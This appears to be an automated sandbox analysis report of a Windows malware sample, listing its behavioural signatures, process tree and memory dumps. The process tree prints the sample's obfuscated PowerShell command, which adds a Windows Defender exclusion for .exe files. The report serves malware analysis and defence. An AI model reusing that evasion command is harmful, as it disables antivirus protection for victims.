Analysis
- max time kernel
149s - max time network
151s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
20/08/2026, 00:14
General
- Target 2026-08-19_740f5e1efd6b0d452affb8ebf7370abd_icedid_njrat_vidar.exe
- Size 2.2MB
- Sample260820-ajftescj9w
- SHA256 2332a5e15ee9802122e552226e691c664853983731f94947e57c4762845d275e
Malware Config
Signatures
- Executes dropped EXE 1 IoCs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Suspicious use of SetThreadContext 1 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 1 IoCs
- Suspicious use of AdjustPrivilegeToken 23 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-08-19_740f5e1efd6b0d452affb8ebf7370abd_icedid_njrat_vidar.exe"C:\Users\Admin\AppData\Local\Temp\2026-08-19_740f5e1efd6b0d452affb8ebf7370abd_icedid_njrat_vidar.exe"1⤵
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\2026-08-19_740f5e1efd6b0d452affb8ebf7370abd_icedid_njrat_vidar.exeC:\Users\Admin\AppData\Local\Temp\2026-08-19_740f5e1efd6b0d452affb8ebf7370abd_icedid_njrat_vidar.exe STD2⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Temp\MSBuild.exe"C:\Windows\Temp\MSBuild.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" function SamSung { [char]$args[0] };$BEZAWI = 10;$GoogleDriveCompany = (SamSung ($BEZAWI+$BEZAWI+$BEZAWI+$BEZAWI+25)) + (SamSung ($BEZAWI+$BEZAWI+$BEZAWI+$BEZAWI+60)) + (SamSung ($BEZAWI+$BEZAWI+$BEZAWI+$BEZAWI+60)) + (SamSung ($BEZAWI+$BEZAWI+$BEZAWI+$BEZAWI+5)) + (SamSung ($BEZAWI+$BEZAWI+$BEZAWI+$BEZAWI+37)) + (SamSung ($BEZAWI+$BEZAWI+$BEZAWI+$BEZAWI+72)) + (SamSung ($BEZAWI+$BEZAWI+$BEZAWI+$BEZAWI+$BEZAWI+$BEZAWI+$BEZAWI+$BEZAWI)) + (SamSung ($BEZAWI+$BEZAWI+$BEZAWI+$BEZAWI+74)) + (SamSung ($BEZAWI+$BEZAWI+$BEZAWI+$BEZAWI+61)) + (SamSung ($BEZAWI+$BEZAWI+$BEZAWI+$BEZAWI+62)) + (SamSung ($BEZAWI+$BEZAWI+$BEZAWI+$BEZAWI+61)) + (SamSung ($BEZAWI+$BEZAWI+$BEZAWI+$BEZAWI+74)) + (SamSung ($BEZAWI+$BEZAWI+$BEZAWI+$BEZAWI+61)) + (SamSung ($BEZAWI+$BEZAWI+$BEZAWI+$BEZAWI+70)) + (SamSung ($BEZAWI+$BEZAWI+$BEZAWI+$BEZAWI+59)) + (SamSung ($BEZAWI+$BEZAWI+$BEZAWI+$BEZAWI+61));$MicroSoft = (SamSung ($BEZAWI+$BEZAWI+$BEZAWI+$BEZAWI+6)) + (SamSung ($BEZAWI+$BEZAWI+$BEZAWI+$BEZAWI+61)) + (SamSung ($BEZAWI+$BEZAWI+$BEZAWI+$BEZAWI+80)) + (SamSung ($BEZAWI+$BEZAWI+$BEZAWI+$BEZAWI+61));&($GoogleDriveCompany) -ExclusionExtension $MicroSoft -Force1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
MSBuild.exe
memory/1420-145-0x0000000006FC0000-0x000000000703F000-memory.dmp
memory/1420-88-0x0000000006FC0000-0x000000000703F000-memory.dmp
memory/1420-30-0x00000000744B2000-0x00000000744B3000-memory.dmp
memory/1420-31-0x0000000002870000-0x00000000028DE000-memory.dmp
memory/1420-2294-0x00000000067B0000-0x00000000067BA000-memory.dmp
memory/1420-45-0x0000000006FC0000-0x000000000703F000-memory.dmp
memory/1420-43-0x0000000006FC0000-0x000000000703F000-memory.dmp
memory/1420-47-0x0000000006FC0000-0x000000000703F000-memory.dmp
memory/1420-51-0x0000000006FC0000-0x000000000703F000-memory.dmp
memory/1420-53-0x0000000006FC0000-0x000000000703F000-memory.dmp
memory/1420-57-0x0000000006FC0000-0x000000000703F000-memory.dmp
memory/1420-56-0x0000000006FC0000-0x000000000703F000-memory.dmp
memory/1420-61-0x0000000006FC0000-0x000000000703F000-memory.dmp
memory/1420-63-0x0000000006FC0000-0x000000000703F000-memory.dmp
memory/1420-67-0x0000000006FC0000-0x000000000703F000-memory.dmp
memory/1420-69-0x0000000006FC0000-0x000000000703F000-memory.dmp
memory/1420-65-0x0000000006FC0000-0x000000000703F000-memory.dmp
memory/1420-75-0x0000000006FC0000-0x000000000703F000-memory.dmp
memory/1420-141-0x0000000006FC0000-0x000000000703F000-memory.dmp
memory/1420-78-0x0000000006FC0000-0x000000000703F000-memory.dmp
memory/1420-79-0x0000000006FC0000-0x000000000703F000-memory.dmp
memory/1420-32-0x00000000744A0000-0x0000000074C5C000-memory.dmp
memory/1420-33-0x0000000004E20000-0x0000000004E38000-memory.dmp
memory/1420-34-0x0000000004E40000-0x0000000004E6A000-memory.dmp
memory/1420-35-0x00000000051B0000-0x0000000005216000-memory.dmp
memory/1420-38-0x00000000063A0000-0x0000000006432000-memory.dmp
memory/1420-39-0x0000000006A00000-0x0000000006FBA000-memory.dmp
memory/1420-40-0x00000000744A0000-0x0000000074C5C000-memory.dmp
memory/1420-41-0x0000000006FC0000-0x0000000007044000-memory.dmp
memory/1420-49-0x0000000006FC0000-0x000000000703F000-memory.dmp
memory/1420-42-0x0000000006FC0000-0x000000000703F000-memory.dmp
memory/1420-59-0x0000000006FC0000-0x000000000703F000-memory.dmp
memory/1420-71-0x0000000006FC0000-0x000000000703F000-memory.dmp
memory/1420-73-0x0000000006FC0000-0x000000000703F000-memory.dmp
memory/1420-143-0x0000000006FC0000-0x000000000703F000-memory.dmp
memory/1420-103-0x0000000006FC0000-0x000000000703F000-memory.dmp
memory/1420-133-0x0000000006FC0000-0x000000000703F000-memory.dmp
memory/1420-159-0x0000000006FC0000-0x000000000703F000-memory.dmp
memory/1420-165-0x0000000006FC0000-0x000000000703F000-memory.dmp
memory/1420-163-0x0000000006FC0000-0x000000000703F000-memory.dmp
memory/1420-161-0x0000000006FC0000-0x000000000703F000-memory.dmp
memory/1420-155-0x0000000006FC0000-0x000000000703F000-memory.dmp
memory/1420-157-0x0000000006FC0000-0x000000000703F000-memory.dmp
memory/1420-153-0x0000000006FC0000-0x000000000703F000-memory.dmp
memory/1420-151-0x0000000006FC0000-0x000000000703F000-memory.dmp
memory/1420-149-0x0000000006FC0000-0x000000000703F000-memory.dmp
memory/1420-147-0x0000000006FC0000-0x000000000703F000-memory.dmp
memory/1420-27-0x0000000000610000-0x0000000000680000-memory.dmp
memory/1420-83-0x0000000006FC0000-0x000000000703F000-memory.dmp
memory/1420-81-0x0000000006FC0000-0x000000000703F000-memory.dmp
memory/1420-29-0x00000000744B2000-0x00000000744B3000-memory.dmp
memory/1420-137-0x0000000006FC0000-0x000000000703F000-memory.dmp
memory/1420-135-0x0000000006FC0000-0x000000000703F000-memory.dmp
memory/1420-131-0x0000000006FC0000-0x000000000703F000-memory.dmp
memory/1420-129-0x0000000006FC0000-0x000000000703F000-memory.dmp
memory/1420-127-0x0000000006FC0000-0x000000000703F000-memory.dmp
memory/1420-125-0x0000000006FC0000-0x000000000703F000-memory.dmp
memory/1420-123-0x0000000006FC0000-0x000000000703F000-memory.dmp
memory/1420-122-0x0000000006FC0000-0x000000000703F000-memory.dmp
memory/1420-119-0x0000000006FC0000-0x000000000703F000-memory.dmp
memory/1420-107-0x0000000006FC0000-0x000000000703F000-memory.dmp
memory/1420-117-0x0000000006FC0000-0x000000000703F000-memory.dmp
memory/1420-115-0x0000000006FC0000-0x000000000703F000-memory.dmp
memory/1420-113-0x0000000006FC0000-0x000000000703F000-memory.dmp
memory/1420-111-0x0000000006FC0000-0x000000000703F000-memory.dmp
memory/1420-109-0x0000000006FC0000-0x000000000703F000-memory.dmp
memory/1420-105-0x0000000006FC0000-0x000000000703F000-memory.dmp
memory/1420-101-0x0000000006FC0000-0x000000000703F000-memory.dmp
memory/1420-100-0x0000000006FC0000-0x000000000703F000-memory.dmp
memory/1420-97-0x0000000006FC0000-0x000000000703F000-memory.dmp
memory/1420-95-0x0000000006FC0000-0x000000000703F000-memory.dmp
memory/1420-94-0x0000000006FC0000-0x000000000703F000-memory.dmp
memory/1420-91-0x0000000006FC0000-0x000000000703F000-memory.dmp
memory/1420-89-0x0000000006FC0000-0x000000000703F000-memory.dmp
memory/1420-139-0x0000000006FC0000-0x000000000703F000-memory.dmp
memory/1420-85-0x0000000006FC0000-0x000000000703F000-memory.dmp
memory/2580-11-0x00007FFAB33F0000-0x00007FFAB3D94000-memory.dmp
memory/2580-12-0x00007FFAB33F0000-0x00007FFAB3D94000-memory.dmp
memory/2580-19-0x000001B47E500000-0x000001B47E51E000-memory.dmp
memory/2580-15-0x00007FFAB33F0000-0x00007FFAB3D94000-memory.dmp
memory/2580-14-0x00007FFAB33F0000-0x00007FFAB3D94000-memory.dmp
memory/2580-13-0x00007FFAB33F0000-0x00007FFAB3D94000-memory.dmp
memory/2580-7-0x00007FFAB33F0000-0x00007FFAB3D94000-memory.dmp
memory/2580-8-0x00007FFAB33F0000-0x00007FFAB3D94000-memory.dmp
memory/2580-10-0x00007FFAB33F0000-0x00007FFAB3D94000-memory.dmp
memory/2580-6-0x00007FFAB33F0000-0x00007FFAB3D94000-memory.dmp
memory/2580-20-0x000001B47E7C0000-0x000001B47E872000-memory.dmp
memory/2580-9-0x00007FFAB33F0000-0x00007FFAB3D94000-memory.dmp
memory/2580-16-0x00007FFAB33F0000-0x00007FFAB3D94000-memory.dmp
memory/2580-4-0x000001B47E460000-0x000001B47E482000-memory.dmp
memory/2580-5-0x00007FFAB33F0000-0x00007FFAB3D94000-memory.dmp
memory/2580-1-0x00007FFAB33F0000-0x00007FFAB3D94000-memory.dmp
memory/2580-0-0x00007FFAB357F000-0x00007FFAB3580000-memory.dmp
memory/2580-21-0x00007FFAB33F0000-0x00007FFAB3D94000-memory.dmp
memory/2580-22-0x000001B47E520000-0x000001B47E52A000-memory.dmp
memory/2580-23-0x00007FFAB33F0000-0x00007FFAB3D94000-memory.dmp
memory/2580-24-0x00007FFAB33F0000-0x00007FFAB3D94000-memory.dmp
memory/2580-26-0x00007FFAB33F0000-0x00007FFAB3D94000-memory.dmp